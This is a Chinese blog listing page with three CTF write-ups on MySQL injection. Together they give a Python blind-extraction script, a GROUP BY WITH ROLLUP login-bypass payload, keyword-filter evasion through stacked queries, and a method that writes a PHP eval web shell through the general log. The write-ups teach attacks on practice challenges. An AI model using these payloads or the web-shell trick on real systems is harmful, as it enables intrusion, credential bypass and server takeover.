首页
CTF
软件
干货
生活
避坑
关于
统计
Search
1
MD5扩展攻击
442 阅读
2
白嫖BackBlaze10G存储,无限流量的图床
356 阅读
3
Typora最新破解版
331 阅读
4
解决各文库不让复制的问题
282 阅读
5
MYSQL堆叠注入操作汇总
258 阅读
Search
标签搜索
mysql
python
MD5
rce
图床
HASH
哈希扩展攻击
md
markdown
typora
命令注入
堆叠注入
JavaScript
shell
cloudflare
微信小程序
CTF
include
反序列化
爬虫
Eson
累计撰写
19
篇文章
累计收到
4
条评论
首页
栏目
CTF
软件
干货
VulnHub
生活
避坑
页面
关于
统计
搜索到
3
篇与
的结果
2024-04-25
MYSQL盲注,排序判断,CTFshow web1
题目https://ctf.show/challenges#CTFshow%20web1-104 解题思路进入题目可以看到是一个登录界面,还有注册按钮,下意识的尝试了各种注入,结果都不行,虽然中间也有报错,但是无法往下走,于是dirsearch走一波,发现存在 www.zip 网站备份文件,下载下来一看,瞬间傻眼!这个过滤写的真是绝了。# reg.php error_reporting(0); $con = mysqli_connect("localhost","root","root","web15"); if (!$con) { die('Could not connect: ' . mysqli_error()); } $username=$_POST['username']; $password=$_POST['password']; $email=$_POST['email']; $nickname=$_POST['nickname']; if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){ die("error"); } if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){ die("error"); } if(isset($username) && isset($password) && isset($email) && isset($nickname)){ $sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')"; $res=mysqli_query($con, $sql); if ($res) { $_SESSION["login"] = true; header("location:/index.php"); } } mysqli_close($conn);尝试正常注册一个账号,登录进去发现,里面有一个flag用户,并且提示flag_is_my_password 于是改变思路,这时看到登录进去的信息页面代码,发现这么一句。$sql="select * from user order by $order";于是就想,可不可以按照password进行排序,那这么就可以对password进行对比判断了,基本也就等于盲注了。于是,开始构造脚本。import requests url = "https://93545584-20e7-44a5-a3fe-d2e0c8dd1240.challenge.ctf.show" register = url + "/reg.php" login = url + "/login.php" member = url + "/user_main.php?order=pwd" payload = '' flag = '' for i in range(1, 100): for j in range(32, 128): payload = flag + chr(j) register_data = { 'username': payload, 'password': payload, 'email': '1', 'nickname': '1' } login_data = { 'username': payload, 'password': payload } r = requests.session() r.post(register, data=register_data) r.post(login, login_data) tmp = r.get(member).text if tmp.find('<td>flag@ctf.show</td>') < tmp.find(f"<td>{payload}</td>"): flag += chr(j-1) payload = flag print(payload) break
2024年04月25日
144 阅读
0 评论
2 点赞
2024-04-23
MYSQL注入,虚拟表绕过
题目https://ctf.show/challenges#web10-17 # 代码$flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } }思路通过过滤得知,or = 没有被屏蔽,于是尝试构造payload admin'/**/or/**/1=1%23,但是无果,通过搜索学到一个新知识点,这里先把payload放出来,接下来再去分析。password=&username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup%23知识点group by 就不用多介绍了,就是对查询结果分组排序,那么with rollup是什么呢?它是对分组后的结果进行聚合求和,在最后一行生成求和的数据。但是如果当前列是字符串无法求和的话,求和结果就会变成NULL。咱们看一下测试:首先对测试表进行分数求和的写法 然后是在这个的基础上,求出学生的总分数的写法。 可以看出,会在最后一行生成数据,对无法求和的列对应生成为NULL那咱们回到题目username=admin' or 1=1 group by password with rollup这一行语句等于是生成了聚合求和的行,并且把这一行里对应的NULL赋值给了username,那么这一行里面的password对应的也是NULL,所以同时传参password=就可以登录成功了。
2024年04月23日
129 阅读
0 评论
2 点赞
2024-03-23
MYSQL堆叠注入操作汇总
例题就以 [强网杯 2019]随便注 这道题来进行实验和汇总MYSQL堆叠注入的操作吧打开题目,我们随便输入个 1 进行查询此时可以正常查询,我们尝试猜测闭合标签为'进行测试此时发现闭合标签确实为'接下来尝试联合注入,通过order by 我们得知只有2列,接下啦使用union进行联合注入。我们发现题目屏蔽了select|update|delete|drop|insert|where|这些关键词,基本排除了联合注入、报错注入、盲注的可能性,为什么说基本排除,限制了select不应该就是完全限制死了这些注入的可能性吗?因为这些注入还有一些骚操作可以绕过select,不过不是我们这次研究的方向,这里我们直接尝试堆叠注入。接下来我们使用以下语句1'; handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;HandlerHANDLER 是一个比较低级的语句;具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话)HANDLER 语句提供了对表存储引擎接口的直接访问。所有形式的 HANDLER... READ 默认获取一行(如果有的话)handler tablename open; # 打开一个表 handler tablename read first; # 读取第一行内容 handler tablename read next; # 读取下一个内容 handler tablename close; # 关闭表PREPARE EXECUTEPREPARE准备一条sql语句EXECUTE执行一条sql语句1PREPARE aaa from concat('s','elect', ' * from `1919810931114514` '); #预编译一条语句,可以使用,进行关键字拼接 EXECUTE aaa;#执行预编译的语句SETSET预编译语句use supersqli; set @sql=concat('s','elect flag from `1919810931114514`'); PREPARE stmt1 FROM @sql; EXECUTE stmt1;RENAME更改表名以及字段属性rename table words to words1; rename table `1919810931114514` to words; alter table words change flag id varchar(100);另类写马注入题它不一定非得注入,写个一句话也能搞些事情。set global general_log=on; # 打开日志开关 set global general_log_file='/var/www/html/shell.php'; # 设置日志写入文件 select '<?php eval($_POST['a']) ?>'; # 操作一次一句话,让它写入日志然后访问shell.php,接下来为所欲为!
2024年03月23日
258 阅读
0 评论
0 点赞